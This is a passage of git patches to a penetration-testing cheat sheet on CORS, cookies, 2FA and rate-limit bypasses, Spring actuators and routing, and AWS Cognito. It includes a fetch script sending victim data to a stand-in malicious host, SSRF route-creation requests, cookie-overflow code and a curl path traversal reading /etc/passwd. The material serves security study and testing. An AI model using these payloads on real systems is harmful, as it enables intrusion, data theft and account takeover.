`Access-Control-Allow-Origin` header based on the user-supplied `Origin` value. If you see a HTTP response with any `Access-Control-*` headers but no origins declared, this is a strong indication that the server will generate the header based on your input. Other servers will only send CORS headers if they receive a request containing the `Origin` header, making associated vulnerabilities extremely easy to miss. +Since you can't use wildcard in `Access-Control-Allow-Origin` when credentials flag is true, check [Access-Control-Allow-Origin](#access-control-allow-origin), many applications programmatically generate the `Access-Control-Allow-Origin` header based on the user-supplied `Origin` value. If you see a HTTP response with any `Access-Control-*` headers but no origins declared, this is a strong indication that an application will generate the header based on a user input. Other applications will only send CORS headers if they receive a request containing the `Origin` header, making associated vulnerabilities extremely easy to miss. -For example, application receives the following request: +For instance, an application receives the following request: ```http GET /sensitive-victim-data HTTP/1.1 @@ -197,7 +285,7 @@ Access-Control-Allow-Credentials: true ... ``` -If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website: +If the response contains any sensitive information such as an API key or CSRF token, you can retrieve this by placing the following script on your resource: ```js fetch("https://vulnerable-website.com/sensitive-victim-data", { @@ -207,18 +295,38 @@ fetch("https://vulnerable-website.com/sensitive-victim-data", { document.location = "//malicious-website.com/log?key={0}".format(response.text()); }); ``` + +## Server-side cache poisoning + +If an application reflects the `Origin` header without even checking it for illegal characters like `\r`, you have a HTTP header injection vulnerability against IE/Edge users, because IE and Edge view `\r (0x0d)` as a valid HTTP header terminator: + +```http +GET / HTTP/1.1 +Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 +``` + +Internet Explorer sees the response as: + +```http +HTTP/1.1 200 OK +Access-Control-Allow-Origin: z +Content-Type: text/html; charset=UTF-7 +``` + +This is not directly exploitable because there is no way for an attacker to make someone's browser send such a malformed header, but you can manually craft this request and a server-side cache may save the response and serve it to other people. The current payload will change the page's character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities. + ## The null origin The specification for the `Origin` header supports the value `null`. Browsers might send the value `null` in the `Origin` header in various unusual situations: -- Cross-site redirects, -- Requests from serialized data, -- Request using the `file:` protocol, -- Sandboxed cross-origin requests. +- Cross-site redirects +- Requests from serialized data +- Request using the `file:` protocol +- Sandboxed cross-origin requests Some applications might whitelist the `null` origin to support local development of the application. -For example, application receives the following request: +For instance, application receives the following request: ```http GET /sensitive-victim-data @@ -235,7 +343,7 @@ Access-Control-Allow-Credentials: true ... ``` -In this situation, an attacker can use various tricks to generate a cross-domain request containing the value `null` in the `Origin` header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form: +In such case, an attacker can use various tricks to generate a cross-domain request containing the value `null` in the `Origin` header. This will satisfy the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form: ```html ``` -## Breaking parsers - -Useful references: -- [Advanced CORS Exploitation Techniques](https://www.corben.io/advanced-cors-techniques/) +## Vary: Origin and client-side cache poisoning -Most websites use basic string operations to verify the `Origin` header, but some parse it as a URL instead. This allows to exploit the of browser's tolerance for unusual characters in domain names. - -In Safari, `http://foo.com%60.bar.net/` is a valid URL. If the CORS request originating from that URL will contain: - -```http -Origin: http://foo.com`.bar.net/ -``` - -and a site chooses to parse this header, it will potentially think that the hostname is `foo.com` and reflect it, letting us exploit Safari users even though the site is using a whitelist of trusted hostnames. - -Chrome and Firefox supported the `_` character in subdomains. This allow to use `_` instead of `` ` `` to exploit Firefox and Chrome users. - -## Abusing CORS without credentials - -If the victim's network location functions as a kind of authentication, then you can use a victim’s browser as a proxy to bypass IP-based authentication and access intranet applications. In terms of impact this is similar to DNS rebinding, but much less fiddly to exploit. - -## Vary: Origin - -The CORS specification instructs developers specify the header +The CORS specification instructs developers specify `Origin` in the `Vary` response header whenever `Access-Control-Allow-Origin` headers are dynamically generated. ```http Vary: Origin ``` -HTTP header whenever `Access-Control-Allow-Origin` headers are dynamically generated. - -That might sound pretty simple, but immense numbers of people forget, including the [W3C itself](https://lists.w3.org/Archives/Public/public-webappsec/2016Jun/0057.html). +That might sound pretty simple, but immense numbers of developers forget, including the [W3C itself](https://lists.w3.org/Archives/Public/public-webappsec/2016Jun/0057.html). -### Client-side cache poisoning - -Say a web page reflects the contents of a custom header without encoding (reflected XSS in a custom HTTP header): +Suppose an application reflects the contents of a custom header without encoding (reflected XSS in a custom HTTP header): ```http GET / HTTP/1.1 @@ -299,87 +382,14 @@ Content-Type: text/html Invalid user: ``` -Without CORS, this is impossible to exploit as there’s no way to make someone’s browser send the `X-User-id` header cross-domain. - -With CORS, we can make them send this request. By itself, that's useless since the response containing our injected JS won't be rendered. However, if `Vary: Origin` hasn't been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL. - -## Server-side cache poisoning - -If an application reflects the `Origin` header without even checking it for illegal characters like `\r`, we effectively have a HTTP header injection vulnerability against IE/Edge users as IE and Edge view `\r (0x0d)` as a valid HTTP header terminator: - -```http -GET / HTTP/1.1 -Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 -``` - -Internet Explorer sees the response as: - -```http -HTTP/1.1 200 OK -Access-Control-Allow-Origin: z -Content-Type: text/html; charset=UTF-7 -``` - -This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but we can manually craft this request and a server-side cache may save the response and serve it to other people. The current payload will change the page's character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities. - -## Exploiting XSS via CORS trust relationships - -Even "correctly" configured CORS establishes a trust relationship between two origins. If a website trusts an origin that is vulnerable to XSS, then an attacker could exploit the XSS to inject some JavaScript that uses CORS to retrieve sensitive information from the site that trusts the vulnerable application. - -Given the following request: - -```http -GET /api/request/api_key HTTP/1.1 -Host: vulnerable-website.com -Origin: https://subdomain.vulnerable-website.com -Cookie: sessionid=... -``` - -If the server responds with: - -```http -HTTP/1.1 200 OK -Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com -Access-Control-Allow-Credentials: true -``` - -Then an attacker who finds an XSS vulnerability on `subdomain.vulnerable-website.com` could use that to retrieve the API key, using a URL like: `https://subdomain.vulnerable-website.com/?xss=` - -## Breaking TLS with poorly configured CORS - -Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For example, when the application receives the following request: - -```http -GET /api/request/api_key HTTP/1.1 -Host: vulnerable-website.com -Origin: http://trusted-subdomain.vulnerable-website.com -Cookie: sessionid=... -``` - -The application responds with: - -```http -HTTP/1.1 200 OK -Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com -Access-Control-Allow-Credentials: true -``` - -In this situation, an attacker who is in a position to intercept a victim user's traffic can exploit the CORS configuration to compromise the victim's interaction with the application. This attack involves the following steps: - -1. The victim user makes any plain HTTP request. -2. The attacker injects a redirection to: `http://trusted-subdomain.vulnerable-website.com` -3. The victim's browser follows the redirect. -4. The attacker intercepts the plain HTTP request, and returns a spoofed response containing a CORS request to: `https://vulnerable-website.com` -5. The victim's browser makes the CORS request, including the origin: `http://trusted-subdomain.vulnerable-website.com` -6. The application allows the request because this is a whitelisted origin. The requested sensitive data is returned in the response. -7. The attacker's spoofed page can read the sensitive data and transmit it to any domain under the attacker's control. +Without CORS, this is impossible to exploit as there is no way to make someone's browser send the `X-User-id` header cross-domain. -This attack is effective even if the vulnerable website is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as secure. +With CORS, you can make them send this request. By itself, that is useless since the response containing injected JavaScript will not be rendered. However, if `Vary: Origin` has not been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL. # References -- [Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) -- [Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) -- [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -- [Tricky CORS Bypass in Yahoo! View](https://www.corben.io/tricky-CORS/) -- [Report: SOP bypass using browser cache](https://hackerone.com/reports/761726) \ No newline at end of file +- [MDN Web Docs: Same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) +- [MDN Web Docs: Cross-Origin Resource Sharing (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) +- [Portswigger Research: Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +- [Writeup: Tricky CORS Bypass in Yahoo! View](https://www.corben.io/tricky-CORS/) +- [Report: SOP bypass using browser cache](https://hackerone.com/reports/761726) From f8ebb404f43970814d3f190d8f6959e690bcfbd7 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:32:08 +0300 Subject: [PATCH 10/17] Add cookie attack vectors --- Web Application/Cookie Security/README.md | 61 +++++++++++-------- .../Cookie Security/cookie-bomb.md | 7 +++ .../Cookie Security/cookie-jar-overflow.md | 24 ++++++++ .../Cookie Security/cookie-tossing.md | 15 +++++ 4 files changed, 80 insertions(+), 27 deletions(-) create mode 100644 Web Application/Cookie Security/cookie-bomb.md create mode 100644 Web Application/Cookie Security/cookie-jar-overflow.md create mode 100644 Web Application/Cookie Security/cookie-tossing.md diff --git a/Web Application/Cookie Security/README.md b/Web Application/Cookie Security/README.md index 58a223c..486a619 100644 --- a/Web Application/Cookie Security/README.md +++ b/Web Application/Cookie Security/README.md @@ -1,17 +1,19 @@ -This section describes the attributes and methods that help improve cookie security. +# Cookie attributes -# Cookie flags +`Ultimate` cookie: -- 'Ultimate' Cookie: `Set-Cookie: __Host-SessionID=3h93...;Path=/;Secure;HttpOnly;SameSite=Strict` +```http +Set-Cookie: __Host-SessionID=3h93...;Path=/;Secure;HttpOnly;SameSite=Strict +``` ## Secure attribute -Cookies marked with the `Secure` attribute are only sent over encrypted HTTPS connections. The `Secure` attribute only protects the **confidentiality** of a cookie against MiTM attackers – there is no integrity protection. +Cookies marked with the `Secure` attribute are only sent over encrypted HTTPS connections. The `Secure` attribute only protects the **confidentiality** of a cookie against MiTM attackers - there is no integrity protection. -![mitm-attack](/Web%20Application/Cookie%20Security/img/mitm-attack.png) +![](/Web%20Application/Cookie%20Security/img/mitm-attack.png) -- Mallory can’t read `Secure` cookies, -- Mallory can still **write/change** `Secure` cookies. +- Mallory can't read `Secure` cookies +- Mallory can still **write/change** `Secure` cookies ## HttpOnly attribute @@ -21,47 +23,51 @@ Cookies marked with the `HttpOnly` attribute are not accessible from JavaScript. The `Path` attribute limits the scope of a cookie to a specific path on the server and can therefore be used to prevent unauthorized access to it from other applications on the same host. -**Cookie scope vs Same-Origin Policy** +### Cookie scope vs Same-Origin Policy -![cookie-scope](/Web%20Application/Cookie%20Security/img/scope-sop-cookie.png) +![](/Web%20Application/Cookie%20Security/img/scope-sop-cookie.png) -**Isolation two different applications on shared host** +### Isolation two different applications on shared host -![isolation-apps](/Web%20Application/Cookie%20Security/img/isolation-sop-cookie.png) +![](/Web%20Application/Cookie%20Security/img/isolation-sop-cookie.png) ## Domain attribute The `Domain` specifies allowed hosts to receive the cookie. -- If the `Domain` attribute unspecified, it defaults to the host of the current document location, excluding subdomains. - - IE will always send to subdomains regardless. -- If the `Domain` attribute is specified, cookies will be sent to that domain and **all its subdomains**. +- If the `Domain` attribute unspecified, it defaults to the host of the current document location, excluding subdomains + - IE will always send to subdomains regardless +- If the `Domain` attribute is specified, cookies will be sent to that domain and **all its subdomains** ## Expires attribute The `Expires` attribute allows you to set the maximum cookie lifetime. -- If the `Expires` attribute unspecified, cookie lifetime is equal to session lifetime. - - It is up to the browser to decide when the session ends, - - 'Non-persistent' session cookies may actually be persisted to survive browser restart. +- If the `Expires` attribute unspecified, cookie lifetime is equal to session lifetime +- It is up to the browser to decide when the session ends +- `Non-persistent` session cookies may actually be persisted to survive browser restart -[Document.cookie documentation](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie) +![](/Web%20Application/Cookie%20Security/img/cookie-survive.png) -![cookie-survive](/Web%20Application/Cookie%20Security/img/cookie-survive.png) +References: +- [MDN Web Docs - Document.cookie](https://developer.mozilla.org/en-US/docs/Web/API/document/cookie) ## SameSite The `SameSite` attribute prevents the browser from sending cookies along with cross-site requests. The `SameSite` attribute can have one of two values (case-insensitive): -- `Strict`, if the URL of the constructed request is different from the URL of the current page, then `Strict` cookies will not be included in the request. - - Possible problem: `Strict` cookies will not be sent when clicking on a link from another site. - - Possible solution: Use two cookies. The first cookie, **without** `SameSite`, as a uniq user id, allows you to show username e.g. Second cookie, **with** `SameSite`, to make purchases, profile changes, and more. -- `Lax`, adds an exception allowing the send a cookies when navigating from an external URL, which uses "secure" HTTP methods, for example, when clicking on the link. The "secure" methods: `GET, HEAD, OPTIONS и TRACE`. +- `Strict`, if the URL of the constructed request is different from the URL of the current page, `Strict` cookies will not be included in the request + - Possible problem: `Strict` cookies will not be sent when clicking on a link from another site + - Possible solution: Use two cookies. The first cookie, **without** `SameSite`, as a uniq user id, allows you to show username e.g. Second cookie, **with** `SameSite`, to make purchases, profile changes, and more +- `Lax`, adds an exception allowing the send a cookies when navigating from an external URL, which uses `secure` HTTP methods, for example, when clicking on the link. The `secure` methods: `GET, HEAD, OPTIONS и TRACE`. -[Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility) +{% hint style="info" %} +From Chrome 80 (February 2019) the default behaviour of a cookie without a cookie SameSite attribute will be Lax, check the [link](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/) -> Notice that from Chrome 80 (February 2019) the default behaviour of a cookie without a cookie SameSite attribute will be Lax, [link](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/). +Temporary, after applying this change, the cookies without a SameSite in Chrome will be treated as None during the first 2 minutes and then as Lax, [Bypass SameSite Cookies Default to Lax and get CSRF](https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b) +{% endhint %} -> Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax, [Bypass SameSite Cookies Default to Lax and get CSRF](https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b) +References: +- [MDN Web Docs - Set-cookie: Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility) # Cookie prefix @@ -69,7 +75,8 @@ The `Cookie Prefix` allows the send of cookie prefix information to ensure that - `__Secure-`, tells the browser that the `Secure` attribute is required, - `__Host-`, tells the browser that the `Path = /` and `Secure` attributes are required, and at the same time that the `Domain` attribute should not be present. -[Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility) +References: +- [MDN Web Docs - Set-cookie: Browser compatibility](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility) # Cookie-list sorting diff --git a/Web Application/Cookie Security/cookie-bomb.md b/Web Application/Cookie Security/cookie-bomb.md new file mode 100644 index 0000000..5e60dc0 --- /dev/null +++ b/Web Application/Cookie Security/cookie-bomb.md @@ -0,0 +1,7 @@ +A cookie bomb aims to adding a large number of big cookies to a user for a domain and its subdomains. As a result, a user will send very huge requests to a server (due to the big cookies) that a server will refuse. Therefore, it will cause a client-side DoS in that domains and subdomains. + +# References + +- [HackTricks: Cookie Bomb](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-bomb) +- [Report: DOM based cookie bomb](https://hackerone.com/reports/57356) +- [Slides: The Cookie Monster in Your Browsers - Cookie Bomb](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) diff --git a/Web Application/Cookie Security/cookie-jar-overflow.md b/Web Application/Cookie Security/cookie-jar-overflow.md new file mode 100644 index 0000000..ca47da4 --- /dev/null +++ b/Web Application/Cookie Security/cookie-jar-overflow.md @@ -0,0 +1,24 @@ +Browsers have a limit on the number of cookies they can store for a page. This allows you to supplant cookies by adding new ones: + +```javascript +// Set many cookies +for (let i = 0; i < 700; i++) { + document.cookie = `cookie${i}=${i}; Secure`; +} + +// Remove all cookies +for (let i = 0; i < 700; i++) { + document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; +} +``` + +{% hint style="info" %} +Third-party cookies pointing to a different domain will not be overwritten +{% endhint %} + +Cookie jar overflow can be used for overwrite `HttpOnly` cookies, so you can remove them and reset with an arbitrary value. + +# References + +- [HackTricks: Cookie Jar Overflow](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-jar-overflow) +- [Overwriting HttpOnly cookies using cookie jar overflow](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) diff --git a/Web Application/Cookie Security/cookie-tossing.md b/Web Application/Cookie Security/cookie-tossing.md new file mode 100644 index 0000000..7e62125 --- /dev/null +++ b/Web Application/Cookie Security/cookie-tossing.md @@ -0,0 +1,15 @@ +If you control a subdomain or you find a XSS in a subdomain, you can set a cookie that will be used in a domain and their subdomains. This can lead to the following attack vectors: +- Setting an attacker cookie for a victim and collecting sensitive data that a victim will add when using an attacker's account +- Fixate a cookie if cookie is not changed after login +- If a cookie sets an initial value you can set a known value and abuse it. For instance, a cookie sets a CSRF token of a session in Flask and this value is maintained after login, therefore, you can use known value to perform a CSRF +- Perform [Cookie bomb](/Web%20Application/Cookie%20Security/cookie-bomb.md) attack + +Cookie tossing is possible even a cookie is already set, since when a browser receives two cookies with the same name partially affecting the same scope (domain, subdomains and path), the browser will send both cookies when valid for request. If an application uses only the first cookie, you can force it to use your cookit by adding the `Path` attribute with longer path, check [Cookie Security: Cookie-list sorting](/Web%20Application/Cookie%20Security/README.md#cookie-list-sorting). + +If an application does not accept requests with cookies with the same name and different values, you can try the following tricks: +- Overflow a legit cookie with attacker's one, check [Cookie Jar Overflow](/Web%20Application/Cookie%20Security/cookie-jar-overflow.md) +- Change a cookie name: use URL encoding, use different letter-case, add extra symbols, such as `%00`, `%20`, `%09`, etc. + +# References + +- [HackTricks: Cookie Tossing](https://book.hacktricks.xyz/pentesting-web/hacking-with-cookies/cookie-tossing) From 9b03e80cd34b2001b6ede3b3b4091536e65606b2 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:33:43 +0300 Subject: [PATCH 11/17] Add abusing of half-authenticated sessions --- ...o-factor-authentication-vulnerabilities.md | 25 ++++++++++++++----- 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/Web Application/Broken Authentication/two-factor-authentication-vulnerabilities.md b/Web Application/Broken Authentication/two-factor-authentication-vulnerabilities.md index 3ce9f48..7865a77 100644 --- a/Web Application/Broken Authentication/two-factor-authentication-vulnerabilities.md +++ b/Web Application/Broken Authentication/two-factor-authentication-vulnerabilities.md @@ -1,10 +1,10 @@ # Abusing "remember me" function -An application can provide users with the "remember me" function so that the next authentication from a device does not require to enter the second factor. To implement this functionality, an application can set cookies, save tokens in local storage and/or remember an IP address. In such situations, you need to find out how the "remember me" function is implemented and check if there is any way to spoof it. Try to check the following cases: +An application can provide users with the "remember me" function so that the next authentication from a device does not require to enter the second factor. To implement this functionality, an application can set cookies, save tokens in local storage and/or remember an IP address. In such cases, you need to find out how the "remember me" function is implemented and check if there is any way to spoof it. Try to check the following cases: -1. Whether the token stored in the cookie or local storage is random. -2. How the token is stored and is it possible to access it from JavaScript. -3. Is it possible to spoof an IP address using HTTP headers, see [Abusing IP whitelists](#abusing-ip-whitelists) +1. Is the token stored in the cookie or local storage random? +2. How the token is stored and is it possible to access the token from JavaScript? +3. Is it possible to spoof an IP address using HTTP headers? (see [Abusing IP whitelists](#abusing-ip-whitelists)) # Abusing IP whitelists @@ -26,7 +26,20 @@ Enabling two-factor authentication should end previously created sessions. If th # Ignoring 2FA -An application can ignore two-factor authentication when performing actions that lead to automatic login to an user account. +An application can ignore two-factor authentication when performing actions that can lead to automatic login to an user account. + +## Abuse of half-authenticated sessions + +An application can issue a session token with limited access after providing credentials. Try to use this session token in a un-enrollment request to disable 2FA. You can check it with the next steps: + +1. Submit credentials to an application +2. Catch a session token from the response +3. Stop an authentication on the 2FA step +4. Use the token in a un-enrollment request +5. Login into account with out 2FA requirement + +References: +- [Writeup: Bypassing Box's Time-based One-Time Password MFA](https://www.varonis.com/blog/box-mfa-bypass-totp/) ## Cross platform applications @@ -89,7 +102,7 @@ Backup codes are generated immediately after a second factor is enabled and are Try to find a vulnerability that could steal backup codes from a response to a request to backup code display endpoint. -# Rate limits +# Improper rate limits {% embed url="https://0xn3va.gitbook.io/cheat-sheets/web-application/improper-rate-limits" %} From 7e8bb02343c44b85e9acca3ed59145d66ac27f08 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:34:20 +0300 Subject: [PATCH 12/17] Add brutefoce tips --- Web Application/Broken Authentication/README.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/Web Application/Broken Authentication/README.md b/Web Application/Broken Authentication/README.md index 645ada0..1a3f973 100644 --- a/Web Application/Broken Authentication/README.md +++ b/Web Application/Broken Authentication/README.md @@ -195,11 +195,25 @@ References: If an application does not set rate limits on login attempts, try to craft a dictionary and bruteforce a password. +One of the implementations of rate limits uses a username or email as an identifier to count attempts. Try to bypass the protection by using extra spaces or upper/lower case: + +```http +email=" username@website.com" +email="username@website.com " +email="Username@website.com" +email="USERNAME@website.com" +... +``` + You can use the following links: - [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) - personal compilation of wordlists & dictionaries for everything; users, passwords, directories, files, vulnerabilities, fuzzing, injections, wordlists of tools, etc. - [SecLists](https://github.com/danielmiessler/SecLists) - a collection of multiple types of lists used during security assessments. - [PWDB - New generation of Password Mass-Analysis](https://github.com/ignis-sec/Pwdb-Public) - a collection of all the data extracted from 1 billion credential leaks from the Internet. - [bopscrk](https://github.com/r3nt0n/bopscrk) - tool to generate smart and powerful wordlists. +- [BruteLoops](https://github.com/arch4ngel/BruteLoops) - protocol agnostic online password guessing API. + +References: +- [Report: Bypass a fix for report #708013](https://hackerone.com/reports/1363672) ## Credential stuffing From 5e2c6933f1c430720cf5252883b0ec2e1134aa05 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:35:25 +0300 Subject: [PATCH 13/17] Add gateway and logview actuators --- Framework/Spring/spring-boot-actuators.md | 69 +++++++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/Framework/Spring/spring-boot-actuators.md b/Framework/Spring/spring-boot-actuators.md index f1130d2..a22989b 100644 --- a/Framework/Spring/spring-boot-actuators.md +++ b/Framework/Spring/spring-boot-actuators.md @@ -69,6 +69,63 @@ These properties have no effect unless the `/restart` endpoint is called, which > There are many other interesting properties, but most of them do not take effect immediately after being changed +# gateway + +The [/gateway](https://cloud.spring.io/spring-cloud-gateway/reference/html/#actuator-api) actuator endpoint lets you monitor and interact with a Spring Cloud Gateway application. In other words, you can define routes for the appkication and use `/gateway` actuator to trigger requests according to these routes. + +There are at least the following issues: +1. Routes can provide access to hidden or internal endpoints, which can be misconfigured or vulnerable. You can fetch all available routes via `GET`-request to `/actuator/gateway/routes` +2. Full SSRF if [adding routes](https://cloud.spring.io/spring-cloud-gateway/reference/html/#creating-and-deleting-a-particular-route) does not require administrative permissions. The next request will create a route to localhost: + + ```http + POST /actuator/gateway/routes/new_route HTTP/1.1 + Host: app + Content-Type: application/json + + { + "predicates": [ + { + "name": "Path", + "args": { + "_genkey_0": "/new_route/**" + } + } + ], + "filters": [ + { + "name": "RewritePath", + "args": { + "_genkey_0": "/new_route(?.*)", + "_genkey_1": "/${path}" + } + } + ], + "uri": "https://localhost", + "order": 0 + } + ``` + + Send refresh request to apply new route: + + ```http + POST /actuator/gateway/refresh HTTP/1.1 + Host: app + Content-Type: application/json + + { + "predicate": "Paths: [/new_route], match trailing slash: true", + "route_id": "new_route", + "filters": [ + "[[RewritePath /new_route(?.*) = /${path}], order = 1]" + ], + "uri": "https://localhost", + "order": 0 + } + ``` + +References: +- [BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR](https://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/) + # trace/httptrace Displays HTTP trace information (by default, the last 100 HTTP request-response exchanges). Requires an `HttpTraceRepository` bean. @@ -157,6 +214,18 @@ One of the MBeans of Tomcat (embedded into Spring Boot) is `createJNDIRealm`, wh Returns the contents of the logfile (if `logging.file.name` or `logging.file.path` properties have been set). Supports the use of the HTTP Range header to retrieve part of the log file's content. +# logview + +[spring-boot-actuator-logview](https://github.com/lukashinsch/spring-boot-actuator-logview) version before `0.2.13` is vulnerable to path traversal that allows you to retreive arbitrary files. + +```bash +# retreaving /etc/passwd +$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../ +``` + +References: +- [Writeup: CVE-2021-21234 Spring Boot Actuator Logview Directory Traversal](https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/) + # dump/threaddump Performs a thread dump. From 1584e6c4e2cb898bb26198de4bb20c144f64d0fd Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:35:56 +0300 Subject: [PATCH 14/17] Add abusing of spring routing --- Framework/Spring/routing-abuse.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 Framework/Spring/routing-abuse.md diff --git a/Framework/Spring/routing-abuse.md b/Framework/Spring/routing-abuse.md new file mode 100644 index 0000000..a29eaeb --- /dev/null +++ b/Framework/Spring/routing-abuse.md @@ -0,0 +1,8 @@ +# Path traversal with /..;/ + +Spring Boot > 2.2.6 treats `https://website.com/allowed/..;/internal` same as `https://website.com/allowed/../internal`. + +This can lead to inconsistency between Spring and middleware. For instance, if an application is deployed behind nginx, you can bypass restrictions on allowed paths. Assume nginx forward all request to `/allowed/` to an application and deny other requests. In this case, request to `/allowed/../internal` will be blocked, however, `/allowed/..;/internal` is not - nginx will pass it as is to an application and it will actually hit `/internal`. + +References: +- [@0xsapra tweet](https://mobile.twitter.com/0xsapra/status/1468551562712682499) From d6159912309e195b7ec94fb5356c8166a6036f43 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:36:19 +0300 Subject: [PATCH 15/17] Update references --- Container/Escaping/exposed-docker-socket.md | 1 + 1 file changed, 1 insertion(+) diff --git a/Container/Escaping/exposed-docker-socket.md b/Container/Escaping/exposed-docker-socket.md index 5a13771..083265d 100644 --- a/Container/Escaping/exposed-docker-socket.md +++ b/Container/Escaping/exposed-docker-socket.md @@ -145,3 +145,4 @@ To execute commands on the host system, start the Docker container and mount the # References - [Write up: Escaping the Cloud Shell container](https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/) +- [Quarkslab's Blog: Why is Exposing the Docker Socket a Really Bad Idea?](https://blog.quarkslab.com/why-is-exposing-the-docker-socket-a-really-bad-idea.html) From 8c7085d7194146a5cced58d5db11fce23e3cfdd8 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:36:58 +0300 Subject: [PATCH 16/17] Add details for misconfigured user pool access --- Cloud/AWS/amazon-cognito.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Cloud/AWS/amazon-cognito.md b/Cloud/AWS/amazon-cognito.md index 8a6c968..6f0917a 100644 --- a/Cloud/AWS/amazon-cognito.md +++ b/Cloud/AWS/amazon-cognito.md @@ -24,6 +24,12 @@ Identity pool IDs can be stored client-side, for example within JavaScript, or r {% embed url="https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963" %} +## Misconfigured user pool access + +If an application allows to write user attributes of an internally used AWS user pool, it can be used to abuse the trust between the application and the pool. In other words, it is possible to change the attributes and issue the JWT token, that will be used by an application. For instance, if an application uses normalized emails (in lower case), you can change one letter in an email address to an upper-case equivalent and takeover an account. + +{% embed url="https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/" %} + # References - [Whitepaper: Internet-Scale analysis of AWS Cognito Security](https://andresriancho.com/wp-content/uploads/2019/06/whitepaper-internet-scale-analysis-of-aws-cognito-security.pdf) From afc0993a22e77389fd1f59cd810d63288412cab5 Mon Sep 17 00:00:00 2001 From: 0xn3va <0xn3va@MacBook-Pro.local> Date: Mon, 17 Jan 2022 15:37:59 +0300 Subject: [PATCH 17/17] Update summary --- SUMMARY.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/SUMMARY.md b/SUMMARY.md index 54ef789..c88deb5 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -42,6 +42,7 @@ - Spring - [Overview](Framework/Spring/overview.md) - [Mass Assignment](Framework/Spring/mass-assignment.md) + - [Routing Abuse](Framework/Spring/routing-abuse.md) - [SpEL Injection](Framework/Spring/spel-injection.md) - [Spring Boot Actuators](Framework/Spring/spring-boot-actuators.md) - [Spring Data Redis Insecure Deserialization](Framework/Spring/spring-data-redis-insecure-deserialization.md) @@ -109,6 +110,9 @@ - [Parameters Injection](Web%20Application/Command%20Injection/parameters-injection.md) - [Content Security Policy](Web%20Application/Content%20Security%20Policy/README.md) - [Cookie Security](Web%20Application/Cookie%20Security/README.md) + - [Cookie Bomb](Web%20Application/Cookie%20Security/cookie-bomb.md) + - [Cookie Jar 